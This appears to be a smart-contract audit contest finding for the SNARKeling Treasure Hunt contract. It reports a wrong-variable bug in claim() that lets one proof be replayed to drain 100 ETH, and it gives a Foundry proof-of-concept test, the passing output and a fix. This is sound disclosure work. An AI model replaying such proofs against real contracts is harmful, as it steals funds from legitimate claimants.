SNARKeling Treasure Hunt

First Flight #59
Beginner FriendlyGameFiFoundry
100 EXP
Submission Details
Impact: high
Likelihood: high

Wrong variable in claimed check allows same proof to be replayed, fully draining the contract

Author Revealed upon completion

Root + Impact

Wrong variable in claimed check allows same proof to be replayed, fully draining the contract.

Description

  • The claim() function is designed to prevent the same treasure from
    being claimed twice by checking claimed[treasureHash] before paying
    out a reward.

  • However, the double-spend guard mistakenly checks claimed[_treasureHash]
    where _treasureHash is an immutable state variable never assigned in
    the constructor, making it permanently bytes32(0). Since claimed[bytes32(0)]
    is never set to true, the check always passes and the same proof can
    be replayed until all 100 ETH is drained.


    https://github.com/CodeHawks-Contests/2026-04-snarkeling/blob/f563199227dd06c21e94c228b4460d81a6d0eed4/contracts/src/TreasureHunt.sol#L88


    Risk

Likelihood:

  • Any attacker can monitor the blockchain for the first legitimate claim() transaction and copy the proof, treasureHash, and recipient arguments directly from the calldata no special skills or tools required


The attack requires zero privileged access any externally owned account can call claim() with the copied arguments

  • All 10 claim slots can be exhausted in a single block since there is no cooldown, rate limiting, or time lock between callsImpact:



    Impact:

  • The entire contract balance of 100 ETH can be drained by a single attacker using one valid proof submitted 10 times


  • All 9 remaining legitimate treasure finders who physically found real treasures are permanently denied their rewards since the contract is left with zero balance

  • The core protocol guarantee that only real treasure finders get paid is completely broken

  • Funds sent out via claim() are unrecoverable since no admin function can reverse completed ETH transfers



Proof of Concept

function testDrainContractViaDoubleClaim() public {
// ============================================================
// PROOF OF CONCEPT: Contract can be fully drained
// Root cause: claimed[_treasureHash] checks wrong variable
// _treasureHash is immutable bytes32(0) — never marked claimed
// Same proof reused 10 times drains 100 ETH
// ============================================================
// Step 1 - Load the real proof and public inputs from fixtures
(
bytes memory proof,
bytes32 treasureHash,
address payable recipient
) = _loadFixture();
// Step 2 - Record starting balances
uint256 contractBalanceBefore = hunt.getContractBalance();
uint256 recipientBalanceBefore = recipient.balance;
console.log("Contract balance before attack:", contractBalanceBefore);
console.log("Recipient balance before attack:", recipientBalanceBefore);
console.log("Starting claims count:", hunt.getClaimsCount());
// Step 3 - Confirm the treasure is NOT marked claimed yet
assertFalse(hunt.isClaimed(treasureHash), "Should not be claimed yet");
// Step 4 - Submit the SAME proof 10 times
// Each iteration: claimsCount++ and 10 ETH drained
// claimed[_treasureHash] check always passes because
// _treasureHash == bytes32(0) is never set to true
for (uint256 i = 0; i < 10; i++) {
console.log("--- Claim attempt:", i + 1);
// participant calls claim, recipient gets the ETH
// participant != recipient so InvalidRecipient check passes
vm.prank(participant);
hunt.claim(proof, treasureHash, recipient);
console.log("Claims count now:", hunt.getClaimsCount());
console.log("Contract balance now:", hunt.getContractBalance());
}
// Step 5 - Record ending balances
uint256 contractBalanceAfter = hunt.getContractBalance();
uint256 recipientBalanceAfter = recipient.balance;
console.log("=== ATTACK COMPLETE ===");
console.log("Contract balance after:", contractBalanceAfter);
console.log("Recipient balance after:", recipientBalanceAfter);
console.log("Total ETH drained:", recipientBalanceAfter - recipientBalanceBefore);
// Step 6 - Assert the contract is fully drained
assertEq(contractBalanceAfter, 0, "Contract should be fully drained");
assertEq(
recipientBalanceAfter - recipientBalanceBefore,
100 ether,
"Recipient should have received 100 ETH total"
);
// Step 7 - Prove the same treasureHash was claimed multiple times
// claimsCount is 10 but only ONE unique treasure was submitted
assertEq(hunt.getClaimsCount(), 10, "All 10 claim slots used by one proof!");
console.log("PROOF: Same proof used 10 times to drain 100 ETH!");
console.log("claimed[treasureHash] was never properly enforced!");
}

The result after test:

eClaim
\[⠰] Compiling...
No files changed, compilation skipped
Ran 1 test for contracts/test/TreasureHunt.t.sol:TreasureHuntTest
\[PASS] testDrainContractViaDoubleClaim() (gas: 22027984)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 404.30ms (401.42ms CPU time)
Ran 1 test suite in 416.19ms (404.30ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests

Recommended Mitigation

Replace _treasureHash with treasureHash in the double-spend guard so it checks the actual submitted treasure hash parameter instead of the permanently zero immutable variable.

function claim(bytes calldata proof, bytes32 treasureHash, address payable recipient)
external nonReentrant() {
if (paused) revert ContractPaused();
if (address(this).balance < REWARD) revert NotEnoughFunds();
if (recipient == address(0) || recipient == address(this)
|| recipient == owner || recipient == msg.sender) revert InvalidRecipient();
if (claimsCount >= MAX_TREASURES) revert AllTreasuresClaimed();
- if (claimed[_treasureHash]) revert AlreadyClaimed(treasureHash);
+ if (claimed[treasureHash]) revert AlreadyClaimed(treasureHash);
if (msg.sender == owner) revert OwnerCannotClaim();
...
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!